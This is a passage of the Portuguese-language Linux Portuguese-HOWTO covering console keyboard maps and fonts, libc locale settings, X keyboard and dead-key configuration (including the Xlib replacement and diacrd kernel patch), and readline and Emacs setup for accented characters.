Testando a fonte

Experimente algumas teclas como ``,.|!"#$%&/()=?'', etc. e use o comando showfont para mostrar a fonte em uso.

3.5 Carregando um mapa de teclado

A seguir é necessário carregar o mapa de teclado adequado. Até a versão 0.92 do pacote KBD esses mapas ficavam no diretório /usr/lib/kbd/keytables passando mais tarde para /usr/share/keytables. Dependendo da distribuição você terá um diretório ou outro. Os mapas para diversos tipos de teclados são apresentados mais adiante.

Slackware.

Foi criado o script /etc/rc.d/rc.keyboard, contendo o seguinte:

    #!/bin/sh
    #
    # /etc/rc.d/rc.keyboard
    #
    # Seleciona um dos mapas de teclado disponíveis no diretório
    # /usr/lib/kbd/keytables
    #
    loadkeys abnt2
e acrescentei as seguintes linhas ao /etc/rc.d/rc.S, imediatamente antes do tratamento do /etc/rc.d/rc.keyboard:
    # Carrega uma fonte de caracteres se existe um script rc.font.
    if [ -x /etc/rc.d/rc.font ]; then
      /etc/rc.d/rc.font start
    fi

    # Carrega um mapa de teclado se existe um script rc.keyboard.
    if [ -x /etc/rc.d/rc.keyboard ]; then
      /etc/rc.d/rc.keyboard start
    fi

Debian.

Certifique-se de ter instalado o pacote kbd e depois faça o seguinte:

  • copie os arquivos com os mapas de teclado fornecidos (veja a seção Ficheiros necessários) para o diretório /usr/share/keytables/. Não é necessário descomprimi-los;
  • copie o mapa correspondente ao seu teclado para o arquivo /etc/kbd/default.map.gz.
  • rode o script /etc/init.d/keymaps.sh.

Red Hat.

Certifique-se de ter instalado o pacote kbd. Copie os arquivos com os mapas de teclado fornecidos (veja a seção Ficheiros necessários) para o diretório /usr/lib/kbd/keytables/ (ou /usr/lib/kbd/keymaps/i386/qwerty/, a pertir do Red Hat 5.2). Não é necessário descomprimi-los.

Edite o arquivo /etc/sysconfig/keyboard e coloque o nome do mapa a usar na variável KEYTABLE, como por exemplo

    KEYTABLE="abnt2"

Conectiva Red Hat Linux.

O CRHL já vem com os mapas de teclado para Português. Se você selecionou o teclado correto durante a instalação, não há mais nada a fazer. Caso contrário, edite o arquivo /etc/sysconfig/keyboard e coloque

    KEYTABLE="nome"
Onde ``nome'' é br-abnt2, pt ou us-acentos caso o desenho do seu teclado seja ABNT-2, português ou americano.

S.u.S.E..

Certifique-se de ter instalado o pacote kbd. Copie os arquivos com os mapas de teclado fornecidos (veja a seção Ficheiros necessários) para o diretório /usr/lib/kbd/keytables/. Não é necessário descomprimi-los.

Descomprima o mapa de teclado adequado, copiando para o arquivo /etc/default.keytab, usando por exemplo um comando como

    zcat /usr/lib/kbd/keytables/pt.map.gz > /etc/default.keytab

Testando o teclado

Experimente pressionar a tecla c-cedilhado (se o teclado não tem esta tecla, digite 'c). Verifique se todas as letras acentuadas, maiúsculas e minúsculas são geradas corretamente e aparecem na tela. Se aparecer algum caracter estranho verifique se carregou o mapa de teclado e a fonte de caracteres corretos, pois provavelmente uma dessas operações foi mal sucedida.

Se ao invés de c-cedilha minúsculo aparecer um maiúsculo é provável que uma tabela de mapeamento Unicode incorreta esteja a ser carregada. Este problema ocorrerá na distribuição S.u.S.E. se não se fizerem as alterações nos scripts do sistema mencionadas anteriormente.

3.6 Verificando erros

Mas, e se alguns dos caracteres continuarem a não aparecer? Bem, antes de mais nada verifique se a fonte e o mapa de teclado adequados foram carregados. Um caso especial é quando queremos usar uma fonte que não segue a codificação ISO Latin-1 (é o caso da fonte padrão do console do PC). Teríamos então de convencer a tela a mostrar os caracteres certos em cada caso.

Poderíamos recorrer ao comando mapscrn. O arquivo com a tabela de tradução teria no entanto de ser criado por nós, seguindo um processo moroso de tentativa e erro até encontrar o caracter cuja imagem desejávamos. Ou, de uma forma mais fácil, poderíamos usar o comando showfont.

Se usarmos a fonte de caracteres correta, o uso deste último comando será desnecessário. É até recomendável que não se use tal recurso, pois embora ele permita criar uma tabela de caracteres ``personalizada'' em um computador, será difícil que um documento acentuado produzido nessa máquina possa ser lido em outra que não tenha a mesma configuração.


Linux Portuguese-HOWTO: Biblioteca de funções libc e aplicativos GNU

 Next Previous Contents

4. Biblioteca de funções libc e aplicativos GNU

A biblioteca padrão de funções do Linux suporta Internacionalização e Localização segundo o padrão POSIX (Portable Operating System Interface). Trata-se de uma norma estabelecida pelo IEEE (Institute of Electrical and Electronics Engineers) para intercomunicação entre diferentes sistemas operativos. Existe também um padrão estabelecido pelo ANSI (American National Standards Institute) para a linguagem de programação C que permite escrever programas com suporte internacional.

4.1 Configurando o suporte internacional

Resumidamente, podemos dizer que as funções que tratam informações dependentes da língua ou do país podem ter seu comportamento modificado, bastando para tanto estabelecer algumas variáveis de ambiente. E que funções são essas? Podemos citar as de formatação de datas, valores monetários e mensagens de erro do sistema. Se você não sabe o que é uma variável de ambiente, sugiro que leia o manual com o comando

    man environ

O padrão POSIX permite usar diversas variáveis de configuração, cada uma delas definindo o tratamento dado a um tipo de informação, a saber

LC_COLLATE

Define regras para comparação entre caracteres no alfabeto local. Por exemplo, a letra `ã' deve ser tratada como idêntica ao `a' no Português quando ordenamos alfabeticamente.

LC_CTYPE

Define regras para comparação entre caracteres maiúsculos e minúsculos. Se estivermos trabalhando com o código ASCII, sabemos que o código numérico de uma letra minúscula é 32 a mais do que a maiúscula correspondente, mas para uma letra acentuada esta regra não é válida!

LC_MONETARY

Muda o comportamento das funções de formatação de valores monetários e permite descobrir, por exemplo, o símbolo da moeda local, ou se usa ponto ou vírgula como separador de milhares e de casas decimais.

LC_MESSAGES

Estabelece a língua em que as mensagens serão apresentadas e como é uma resposta afirmativa ou negativa (S/N).

LC_NUMERIC

Estabelece o comportamento das funções de leitura/escrita de valores numéricos permitindo, por exemplo que usemos a vírgula decimal.

LC_TIME

Define a formatação de datas e horas.

LC_ALL

Define de uma só vez todas as categorias. Se usarmos LC_ALL, não precisaremos definir nenhuma das outras, a não ser que queiramos um comportamento diferente para aquele ítem específico.

LANG

Define de uma só vez todas as categorias, se LC_ALL não estiver definida. Também é usada pelo comando man para compor os caminhos pelos quais ele procurará as páginas do manual. Veja as observações a respeito desta variável nas seções Locale, Locale e Locale.

Maiores informações podem ser obtidas no manual do sistema com o comando

    man 7 locale
O `7' no comando anterior é necessário para evitar confusão com uma função homônima da linguagem Perl. Note que as configurações acima afetam, em princípio, apenas as funções disponíveis na biblioteca de funções da linguagem C. Na prática, todos os programas que rodam em Linux usam aquela biblioteca, mas o sistema operativo não provê, catálogos de mensagens em diversas línguas para todos os programas.

A identificação da língua e do local é feita por dois códigos de duas letras, separados por um sinal ``_''. Se omitirmos o código de país, assume-se o país padrão para a língua informada, mas deve haver um catálogo correspondente. Deste modo, o código ``pt_PT'' significa Português de Portugal, enquanto ``pt_BR'' significa Português do Brasil. Escolher uma combinação língua/local basta então colocar em seu arquivo /etc/profile uma linha contendo

    LC_ALL="pt_PT"
    export LC_ALL
Usuários brasileiros devem usar ``pt_BR'' ao invés de ``pt_PT''. Teste o resultado com os comandos a seguir (/inexistente é o nome de um arquivo que não existe):
    echo ÁÉÍÓÚ | tr '[:upper:]' '[:lower:]'
    tar tf /inexistente
    ls -l /
    date
    cal 1 1999
O resultado do primeiro deverá ser ``áéíóú''. Os comandos tar e ls devem retornar mensagens em Português e cal deve mostrar um calendário de janeiro de 1999, com do se te qu qu se sá no cabeçalho dos dias da semana.

Na distribuição Debian, certifique-se de ter instalado o pacote ``locales'', que pertence ao grupo ``admin''. O nome do arquivo que contém o pacote (na versão 2.0 da distribuição) é locales_2.0.7t-1.deb e em meu CD está no diretório debian/main/binary-i386/admin.

4.2 Problemas com a libc 5

Até meados de 1997 todas as distribuições de Linux usavam a mesma biblioteca libc, que estava na versão 5, desenvolvida a partir de uma versão mais antiga da libc do projeto GNU. Esta biblioteca possuia suporte muito limitado à internacionalização e normalmente nenhum dos catálogos de locais era incluído na distribuição, ficando o inglês como língua padrão.

A versão 6 da libc do Linux baseia-se na versão 2 da libc do projeto GNU. O suporte à internacionalização foi muito melhorado, além de incluir outros atributos que não interessam para os fins deste HOWTO. Se sua distribuição for a Debian versão 2, Red Hat versão 5 ou qualquer outra que use a nova libc, então não há mais nada a fazer além do descrito na seção anterior.

Mas se você usa uma distribuição ainda baseada na libc 5 (Slackware, Caldera 1.x ou uma versão mais antiga de Debian ou Red Hat) é preciso instalar a coleção de locais. Não tente copiar a coleção de uma distribuição mais recente, pois os formatos dos arquivos são incompatíveis. Pegue na página do Portuguese HOWTO o arquivo locales-pt.tgz. Para instalá-lo na distribuição Slackware, basta (como usuário root) usar o comando

    installpkg locales-pt.tgz
e para outras distribuições use o comando
    tar xzf locales-pt.tgz -C /

Verifique se há dois subdiretórios do /usr/share/locale chamados pt_BR e pt_PT. Basta então configurar a variável de ambiente LC_ALL, como já descrito.


Linux Portuguese-HOWTO: Configuração do X

 Next Previous Contents

5. Configuração do X

Quando o servidor X está ativo, ele coloca o teclado do computador em um modo de operação chamado raw (cru), em oposição ao modo normal, chamado cooked (isto mesmo: cozido). No modo raw o sistema operativo não processa seqüências acento-letra. O servidor X é uma daquelas raras aplicações que, por dever de ofício, tem que tratar o teclado ``em baixo nível''.

O X vem equipado com um utilitário destinado à configuração do teclado, chamado xmodmap, que cumpre uma função correspondente à do comando loadkeys, ou seja, lê um arquivo de mapa de teclado do X, expecificando as equivalências entre os keycodes e respectivos keysymbols.

Eis um excerto deste arquivo:

    keycode 47 = ccedilla Ccedilla dead_acute dead_doubleacute
    keycode 48 = masculine ordfeminine dead_circumflex dead_caron
    keycode 49 = backslash bar notsign
    keycode 50 = Shift_L
    keycode 51 = dead_tilde dead_circumflex dead_grave dead_breve
Observem que, ao contrário do loadkeys, o xmodmap não possui um diretório padrão onde o arquivo é procurado.

A configuração do X não interfere de forma alguma com a configuração do modo de texto. De facto, é possível ter o seu X bem configurado, e no entanto não ter realizado qualquer tipo de configuração ao modo de texto, e vice-versa. Outro ponto importante de se observar é que os códigos numéricos das teclas no X não correspondem aos do console. A tecla Backspace, por exemplo, tem o número 14 no console, e 22 no X (em um computador do tipo IBM-PC).

As versões 3.2 e posteriores do XFree86 permitam definir dead-keys, mas o seu tratamento é responsabilidade da aplicação, conforme visto na seção Modo texto versus Sistema de Janelas X. Há modos de contornar esta limitação e tornar o tratamento de dead-keys transparente às aplicações, conforme mostrado na seção Contornando os limites do X.

Dividimos a configuração em duas partes: Uma que deve ser feita antes do login do usuário e outra depois.

5.1 Configuração do xinit

Junto com este documento são fornecidos vários mapas de teclado para uso no X. Para automatizar o processo de configuração do teclado basta copiar o arquivo adequado para o diretório /usr/X11R6/lib/X11/xinit, onde normalmente ficam os arquivos de início da seção de trabalho no X. Na distribuição Slackware esse diretório é um link simbólico para /var/X11R6/lib/xinit e na Debian e na Red Hat para /etc/X11/xinit.

Nas distribuições Slackware e Red Hat, verifique se no referido diretório existe um arquivo chamado .Xmodmap. Se existir, copie o Xmodmap.<alguma-coisa> para ele, ou faça um link. Normalmente o arquivo de configuração xinitrc possui os comandos para carregá-lo automaticamente. Veja o seguinte trecho:

    #!/bin/sh
    # $XConsortium: xinitrc.cpp,v 1.4 91/08/22 11:41:34 rws Exp $

    userresources=$HOME/.Xresources
    usermodmap=$HOME/.Xmodmap
    sysresources=/usr/X11R6/lib/X11/xinit/.Xresources
    sysmodmap=/usr/X11R6/lib/X11/xinit/.Xmodmap

    # merge in defaults and keymaps

    if [ -f $sysresources ]; then
        xrdb -merge $sysresources
    fi

    if [ -f $sysmodmap ]; then
        xmodmap $sysmodmap
    fi

Na distribuição Debian o mapa de teclado padrão do X é /etc/X11/Xmodmap, basta copiar o mapa desejado para aquele arquivo. Ele será carregado pelo xinitrc, que por sua vez é um link simbólico para /etc/X11/Xsession, sempre que iniciar a seção de trabalho do usuário.

5.2 Configuração do XDM

Existe ainda um pequeno problema: no meu computador, por exemplo, o sistema carrega diretamente o X ao dar boot e o login é feito pelo X Display Manager (xdm). Como o xdm faz o login antes de iniciar a seção de trabalho, o mapa de teclado não será carregado, o que pode criar problemas se o usuário usa caracteres como ``['' ou ``]'' em sua senha, pois nos teclados ABNT-2 e português esses símbolos são gerados por teclas cujos códigos numéricos não são os mesmos do teclado americano.

É preciso fazer uma pequena alteração no arquivo de configuração Xsetup_0. Esse arquivo deve estar no diretório /usr/X11R6/lib/X11/xdm, que na Slackware é um link simbólico para /var/X11R6/lib/xdm e /etc/X11/xdm na Debian e -- sujeito a confirmação -- RedHat. Eis o conteúdo completo desse arquivo:

    #!/bin/sh
    #
    # /usr/X11R6/lib/X11/xdm/Xsetup_0
    #

    sysresources=/usr/X11R6/lib/X11/xinit/.Xresources
    sysmodmap=/usr/X11R6/lib/X11/xinit/.Xmodmap

    # merge in defaults and keymaps

    if [ -r $sysresources ]; then
        xrdb -merge $sysresources
    fi

    if [ -r $sysmodmap ]; then
        xmodmap $sysmodmap
    fi

    xconsole -geometry 480x130-0-0 -daemon -notify -verbose -exitOnFail

A distribuição Debian tem um Xsetup_0 um pouco diferente, em /etc/X11/xdm/Xsetup_0, mas basta acrescentar-lhe o seguinte:

    sysmodmap=/etc/X11/Xmodmap
    sysresources=/etc/X11/Xresources

    if [ -f $sysresources ]; then
      xrdb -merge $sysresources
    fi

    if [ -f $sysmodmap ]; then
      xmodmap $sysmodmap
    fi

Se no seu computador o login do usuário também for feito sempre via xdm, não é necessário mexer no xinitrc, como mostrado na seção anterior, já que o mapa de teclado será carregado antes do início na seção do usuário.

5.3 Compose

Uma das coisas mais importantes a definir quando vamos utilizar acentuação por meio de dead-keys é o conjunto de regras de composição. Essas regras determinam, por exemplo que a composição do caracter ' com a letra e gerará um é.

Ao contrário do console, no qual podemos definir as regras de composição no próprio mapa de teclado, no X essas regras são colocadas no arquivo /usr/X11R6/lib/X11/locale/???/Compose, onde ??? é a codificação em uso (no nosso caso, iso8859-1).

Para facilitar o uso dos mapas para teclados que não têm o c-cedilhado, como o US+ (veja adiante) é conveniente definirmos uma nova regra de composição, permitindo que o Ç seja gerado pela seqüência 'C. Se não fizermos isso, seremos obrigados a digitar <dead_cedilla-C>, sedo o dead_cedilla produzido pela combinação AltGR-=, o que não é nada confortável. Além disso, no teclado americano somos obrigados a usar as aspas duplas para gerar o trema.

O arquivo Compose fornecido foi feito procurando imitar ao máximo o comportamento do console e possui as seguintes facilidades para geração de caracteres:

  • C-cedilha: tecla Ç ou seqüência <acento-agudo>-C
  • Apóstrofo: tecla ' ou seqüências <acento-agudo>-<acento-agudo> e <acento-agudo>-<espaço>
  • Acento grave: seqüências <acento-grave>-<acento-grave> e <acento-grave>-<espaço>
  • Aspas: tecla " ou seqüência <trema>-<trema>
  • Trema: seqüência <trema>-<espaço>
  • Til: seqüências <til>-<espaço> e <til>-<til>
  • Circumflexo: seqüências <circumflexo>-<espaço> e <circumflexo>-<circumflexo>

Para incluirmos as novas regras, basta aplicar uma alteração à definição original. O arquivo Compose.patch pode ser obtido via WWW na página do Portuguese HOWTO. Para aplicar a atualização, copie-o para o diretório /usr/X11R6/lib/X11/locale/iso8859-1/, faça uma cópia de reserva do Compose original e invoque o utilitário patch:

    cp -p Compose Compose.backup
    patch < Compose.patch

Caso você prefira não aplicar o ``patch'', um arquivo Compose pronto também é fornecido. Lembre-se de fazer cópia do original antes de substituí-lo!

5.4 Locale

Para os usuários brasileiros, pode haver mais uma alteração a fazer no X. Conforme vimos na seção Biblioteca libc, uma variável de ambiente (LANG ou LC_ALL) configura o suporte internacional existente na biblioteca de funções padrão do sistema (libc). A biblioteca de funções do X (Xlib) usa a variável LANG para identificar a língua em uso mas até a revisão 6.3, na qual é baseado o XFree86, não era incluída a combinação ``pt_BR'', correspondente a Português/Brasil. Como resultado, cada vez que executarmos um aplicativo X com LC_ALL definido como ``pt_BR'' ele emitirá a mensagem ``Warning: locale not supported by Xlib, locale set to C''.

Para incluir o local pt_BR no X11R6.3 basta alterar três arquivos existentes no diretório /usr/X11R6/lib/X11/locale. Pegue o arquivo Xlocale.patch via WWW na página do Portuguese HOWTO. Para aplicar a atualização, copie-o para o diretório /usr/X11R6/lib/X11/locale, faça uma cópia de reserva dos arquivos a serem alterados e invoque o utilitário patch:

    cp -p compose.dir compose.dir.backup
    cp -p locale.alias locale.alias.backup
    cp -p locale.dir locale.dir.backup
    patch < Xlocale.patch

Caso você prefira não aplicar o ``patch'', arquivos prontos também são fornecidos. Lembre-se de fazer cópias dos originais antes de substituí-los!

Em setembro de 1998 o fix-2 da revisão 6.4 do X Window System incluiu oficialmente o suporte ao local pt_BR. Infelizmente neste mesmo fix-2 foi introduzida uma falha em uma das funções de tratamento de input contexts da Xlib que provoca violações de acesso à memória. Uma das aplicações afetadas é o processador de textos LyX. Uma correção provavelmente será incluída no fix-4. O X11R6.4 deverá ser a base para a versão 4 do XFree86.

5.5 Geração de mapas com o XKeyCaps

O programa XKeyCaps, criado por Jamie Zawinski é uma interface gráfica para o xmodmap, que mostra na tela o desenho de um teclado e permite modificar interativamente os símbolos gerados por cada tecla e gerar automaticamente o arquivo .Xmodmap correspondente.

Ele pode ser obtido via WWW em http://www.jwz.org/xkeycaps/ e, a partir da versão 2.43, já incoropra também suporte para o desenho brasileiro (ABNT2), uma contribuição de Andre Gerhard.

5.6 Contornando os limites do X

Conforme foi explicado na seção Modo texto versus Sistema de Janelas X, o tratamento de acentos deve ser feito pela aplicação, mas ainda há muitos programas que não levam isto em consideração, tais como Netscape Navigator/Communicator e Nedit. Como não é possível modificar muitos deles, é preciso encontrar outro tipo de solução.

Alteração da biblioteca Xlib

Linux, assim como a maioria dos sistemas operacionais modernos, usa um sistema de vínculo de programas a bibliotecas de funções chamado ``ligação dinâmica'' (dynamic binding). Deste modo, podemos modificar o comportamento de um programa alterando uma dessas bibliotecas. Maiores informações sobre este tema pode ser obtida nos manuais do Linux com os comandos

    man ld.so
    man ldconfig
    man ldd
    man dlopen
Thomas Quinot criou uma alteração para a biblioteca de funções do X (Xlib) introduzindo o tratamento de acentos na função XLookupString, Tudo que se tem a fazer é substituir o arquivo contendo esta biblioteca por outro, que pode ser obtido via internet no endereço

http://web.fdn.fr/~tquinot/dead-keys.en.html

Existem duas versões do arquivo, uma para sistemas onde as bibliotecas do X suportam o uso seguro de threads (Debian 2.x, Red Hat 5.x, etc.) e outra para os sistemas que não possuem tal atributo (Slackware, Caldera 1.x). Se você não sabe o que são threads não se preocupe com isso, mas saiba que eles permitem criar um programa capaz de se dividir em sub-processos que rodam concorrentemente em um computador. Para analisar sua Xlib rode o seguinte comando:

nm --dynamic /usr/X11R6/lib/libXext.so.6|grep _Xglobal_lock

Se aparecer ``U _Xglobal_lock'' seu sistema suporta threads e o arquivo a obter é libX11-XF3.3.1-TS.tar.gz. Se não aparecer, seu sistema não suporta threads e o arquivo a obter é libX11-XF3.3.1.tar.gz. Tendo obtido o arquivo, copie-o para um diretório temporário e extraia seu conteúdo. Mova o arquivo /usr/X11R6/libX11.so.6.1 para outro diretório, para preservá-lo. Não é suficiente renomeá-lo! Remova-o para um diretório cujo nome não esteja contido no arquivo /etc/ld.so.conf. Depois, mova o novo arquivo para o lugar do antigo e rode o programa ldconfig (isto deve ser feito pelo usuário root):

    cp libX11-XF3.3.1-TS.tar.gz /tmp
    cd /tmp
    tar xzf libX11-XF3.3.1-TS.tar.gz
    mkdir /usr/X11R6/oldlib
    mv /usr/X11R6/lib/libX11.so.6.1 /usr/X11R6/oldlib
    mv libX11.so.6.1 /usr/X11R6/lib
    chown root:root /usr/X11R6/lib/libX11.so.6.1
    chmod 755 /usr/X11R6/lib/libX11.so.6.1
    /sbin/ldconfig

É aconselhável que a operação seja realizada quando nenhuma aplicação X estiver rodando. A seguir, edite o arquivo de configuração do servidor X, chamado XF86Config. Este arquivo fica no diretório /etc (Slackware) ou /etc/X11 (Debian, Red Hat). Procure a seção ``Keyboard'' e inclua a opção ``XkbDisable'', conforme mostrado a seguir:

    Section "Keyboard"
       Protocol        "Standard"
       XkbDisable
    EndSection

A opção XkbDisable inabilita a extensão XKEYBOARD do servidor X, o que neste caso serve para sinalizar à função XLookupString que ela deve tratar os acentos. Se quisermos voltar ao comportamento normal, basta retirar a opção do XF86Config.

Configure o mapa de teclado do X conforme explicado nas seções anteriores deste documento. Para testar o resultado, rode o programa xedit e digite alguns caracteres acentuados.

Alteração no kernel do Linux

Esta seção é baseada em contribuição enviada por Bruno Barberi Gnecco e na documentação do diacrd. Podem haver ainda alguns erros e se alguém os detectar, por favor avise-me.

Seguindo a regra geral do mundo *nix, existe sempre mais de um modo se resolver o mesmo problema. Conforme vimos anteriormente, existem dois modos de operação do teclado, chamados raw e cooked. Estes modos de operação podem ser mudados com o programa kbd_mode, integrante do pacote kbd, o que não é recomendável fazer a não ser para restaurar o estado do console após um desastre com o servidor X, por exemplo. No modo raw o kernel não processa os diacríticos (acentos).

Cedric Adjih criou uma alteração para o kernel que permitia tratar os acentos mesmo em modo raw, inicialmente voltada para o teclado de desenho francês. Enéas Queiroz, André D. Balsa e Claudemir Todo Bom fizeram melhorias e o adaptaram para os teclados internacional, português e ABNT. O tratemanto de acentos é feito parte pelo kernel, parte por um processo que roda em retaguarda (daemon) chamado diacrd, conforme descrito a seguir:

  • Uma modificação no kernel faz que todos os dados lidos do teclado sejam redirecionados para um dispositivo especial do sistema chamado /dev/rawkbd quando o teclado estiver em modo raw.
  • Os dados que o kernel grava no /dev/rawkbd são lidos pelo programa diacrd, que processa as seqüências acento-letra e reescreve no /dev/rawkbd os caracteres acentuados na forma de códigos de varredura (scancodes) que normalmente não existem no teclado.
  • O kernel lê no /dev/rawkbd os códigos gravados pelo diacrd e os passa à aplicação, que no caso é o servidor X.
  • O servidor X mapeia os códigos de varredura para caracteres. Um mapa de teclado especial permite então gerar as letras acentuadas.

O diacrd pode ser obtido via FTP anônimo no endereço

ftp://metalab.unc.edu/pub/Linux/system/keyboards
Há versões diferentes, de acordo com o tipo de teclado e, pelo menos por enquanto, não se pode reconfigurá-lo sem recompilar. Para fazer a instalação, de acordo com o arquivo ``README'', deve-se fazer o seguinte (pelo usuário root):
  • Obtenha o arquivo -.tar.gz correspondente a seu teclado. Extraia seu conteúdo, o que deverá criar um diretório chamado diacrd-<versão>.
  • Edite o arquivo diacrd.c e remova os comentários desejados, de acordo com suas preferências. Pode-se incluir capacidade de rodar o programa xmodmap e ejetar o CD-ROM sob controle do pressionamento de uma combinação de teclas.
  • Aplique a modificação no kernel. Para isto, execute o comando ``make patch-usr-src''.
  • Crie o dispositivo /dev/rawkbd executando o comando ``make rawkbd''.
  • Compile o diacrd e instale-o executando os comandos ``make'' e ``make install''.
  • Compile e instale o kernel, com os comandos
        cd /usr/src/linux
    make config
    make zlilo
    Para maiores informações sobre compilação/instalação do kernel, leia o Kernel-HOWTO, disponível via Internet nos repositórios do LDP mencionados na seção Onde encontrar a versão mais atual.
  • Dê um ``reboot'' no computador. Verifique se o suporte ao dispositivo rawkbd foi instalado com sucesso com o comando
        dmesg | grep RAWKBD
    Deve aparecer
        RAWKBD interface for diacriticals translation enabled...
    e teste o dispositivo /dev/rawkbd com o comando
        printf "### TESTANDO ###" >> /dev/rawkbd
    Veja na seção Configuração do console como carregar um mapa com suporte à acentuação. O pacote diacrd vem com um arquivo chamada usintl.map, que corresponde ao nosso us+.map. Se seu teclado não for do tipo americano, use o pt.map ou abnt-2.map.
  • Substitua o arquivo /usr/X11R6/lib/X11/xkb/keycodes/xfree86 pelo arquivo fornecido junto com o diacrd.
  • Se tudo correr bem, rode o programa diacrd. Depois ative o X e use o xmodmap para carregar o mapa xmodmap.diacrd.

Se a geração de acentos funcionar, é preciso tornar permanentes as alterações necessárias. Pode-se fazê-lo incluindo a carga do diacrd no arquivo /etc/rc.d/rc.local (Slackware).

Se algum dos leitores tiver criado um script de ativação do diacrd para a distribuição Debian ou Red Hat, por favor envie-o para que seja incluído aqui.
Mais informações sobre o diacrd podem ser encontradas no ``Dead keys Mini-HOWTO'' de Claudemir Todo Bom, disponível em http://linux.unicamp.br/docs/diversos/deadkeys.html.

Comparação entre as duas soluções

Em termos de resultados práticos, a Xlib modificada e o diacrd são equivalentes. Há porém algumas diferenças entre as duas soluções que merecem atenção.

Diacrd exige uma alteração no kernel do Linux para resolver um problema que o kernel já resolve, o que não deixa de parecer um tanto redundante. A dependência de um processo de usuário (o daemon kerneld) é uma desvantagem, pois se esse programa deixar de funcionar perde-se o suporte à acentuação no X. Trata-se de uma solução ainda em desenvolvimento e, segundo o conteúdo da documentação que o acompanha, o ideal seria que todo o tratamento fosse feito pelo kernel, sem depender de outro programa.

Até o momento da publicação deste HOWTO, o diacrd ainda não era compatível com a versão 2.2 do kernel do Linux.

A solução via Xlib é, pelo menos em teoria, totalmente transparente às aplicações e permite reconfiguração em tempo de execução, bastando alterar o mapa de teclado do X e as regras de composição. Já o diacrd precisa ser recompilado se quisermos trocar o tipo de teclado, mas é possível que novas versões incorporem algum recurso de reconfiguração.

O diacrd só funciona no teclado do próprio computador. Se quisermos usar um display remoto, seja um terminal X, seja um outro computador, não teremos suporte à acentuação. A troca da Xlib, por outro lado, enquadra-se plenamente na filosofia do X de que o servidor provê mecanismo, deixando a cargo da aplicação a definição de políticas. Exemplo da vantagem deste paradigma é poder usar as técnicas descritas na seção Configuração do X em outros sistemas operativos e com terminais X.

A solução via Xlib parece-me mais ``limpa'' e é minha predileta, mas, como sempre, fica a critério do usuário ou do administrador do sistema qual alternativa escolher. De qualquer modo, sempre é bom lembrar qua ambas as soluções são remendos. Considerando-se a rápida evolução que está a ocorrer no campo do software livre, com o desenvolvimendo de ambientes de trabalho como KDE, GNOME e GNUStep, podemos supor que em breve nenhum desses remendos será mais necessário.


Linux Portuguese-HOWTO: Configuração dos vários programas

 Next Previous Contents

6. Configuração dos vários programas

6.1 Aplicativos

A maioria das aplicações que rodam no Unix usa algum tipo de arquivo de configuração que o usuário coloca em seu diretório de trabalho (home) e cujo nome normalmente é .alguma-coisarc. Tanto quanto possível, tentei evitar que isso fosse necessário, pois além de dar mais trabalho ao usuário (e ao administrador da rede ;-) pode dificultar um pouco as coisas. Por exemplo, aqui no CPMet temos o diretório home compartilhado entre um servidor Alpha rodando DEC UNIX com os PCs rodando Linux via NFS (até a maior parte do Linux está instalada no Alpha, os PCs só têm a partição raiz e uma área de swap). Os arquivos podem necessitar algum ajuste dependendo da plataforma e nem todos os programas possuem flexibilidade bastante para isso.

Uma opção que muitos programas também oferecem é especificar em uma variável de ambiente o nome do arquivo de configuração ou o uso de arquivos padrão que normalmente ficam em um diretório /usr/lib/alguma-coisa ou /etc/alguma-coisa.

Bash (biblioteca GNU readline)

Os programas que utilizam a biblioteca GNU readline para ler a linha de comando procuram por um arquivo chamado .inputrc no diretório ``HOME'' do usuário caso não exista uma variável de ambiente INPUTRC contendo o caminho para um arquivo de configuração.

Coloque uma linha no seu arquivo /etc/profile contendo

    INPUTRC="/etc/inputrc"
    export INPUTRC
e crie um arquivo /etc/inputrc contendo
    set meta-flag on
    set convert-meta off
    set output-meta on
Outra alternativa é criar um arquivo .inputrc no diretório home do usuário com o conteúdo acima, mas é muito difícil manter atualizados os arquivos de todos os usuários, principalmente quando eles são muitos. Um inputrc mais completo pode ser obtido via WWW na página do Portuguese HOWTO. Ele contém opções para vários tipos de terminal e permite usar as teclas de movimento de cursor para percorrer o histórico de comandos (setas para cima e para baixo); ir para o primeiro e para o último comandos do histórico (teclas PageUp e PageDown); posicionar o cursor na linha (setas para a esquerda e direita) e posicionar o cursor no início e no fim da linha (teclas Home e End).

Para maiores informações leia os manuais do bash e da biblioteca readline com os comandos

    man bash
    man readline

Emacs

O pai de todos os editores pode ser configurado criando-se um arquivo chamado .emacs no diretório do usuário, contendo as seguintes linhas:

    (set-input-mode nil nil 1)
    (standard-display-european t)
    (require 'iso-syntax)

Para tornar esta configuração global, na distribuição Slackware coloque os comandos no arquivo /usr/lib/emacs/site-lisp/site-start.el. Na distribuição Debian o emacs executa todos os scripts contidos no diretório /etc/emacs/site-start.d ao ser carregado. Tudo que se tem a fazer é colocar esses comandos em um arquivo chamado, por exemplo, 01portugues-emacs.el.

Se o estimado leitor, assim como eu, não se agrada do tratamento dado pelo Emacs às teclas de Delete, Home e End, aproveite a oportunidade e acrescente ao mesmo arquivo o seguinte:

    (global-unset-key [backspace] )
    (global-set-key [backspace] 'delete-backward-char)
    (global-unset-key [delete] )
    (global-set-key [delete] 'delete-char)
    (define-key global-map [home] 'beginning-of-line)
    (define-key global-map [C-home] 'beginning-of-buffer)
    (define-key global-map [end] 'end-of-line)
    (define-key global-map [C-end] 'end-of-buffer)

Arquivos de configuração prontos podem ser obtidos via WWW na página do Portuguese HOWTO. Para Slackware, há um site-start-emacs.el, que deve ser copiado para o diretório /usr/lib/emacs/site-lisp com o nome de site-start.el. Para Debian, há um 01portugues-emacs.el que deve ser copiado para o diretório /etc/emacs/site-start.d.

Certifique-se de estar usando a versão 24-out-1998 ou mais recente do arquivo de mapa de teclado para o X, pois ela possui uma correção no tratamento das teclas modificadoras Alt e Meta, que são muito usadas pelo Emacs.

flex

Especifique a opção -8 se o parser a gerar necessitar de ler dados de 8 bit.

Fortune

Fortune é aquele programa que toda vez que é invocado apresenta uma pequena mensagem, geralmente bem humorada. Ele é inspirado nos biscoitos da fortuna chineses (em inglês fortune cookies, daí o nome). Eis algumas mensagens típicas:

    dROGA!!oNDE ESTA O cAPSLOCK??

    Mouse não encontrado, bater no gato? (S/N)

    Que fio é ess<=V++088.../NO CARRIER

    Quem ri por último está conectado a 2400Bit/s.
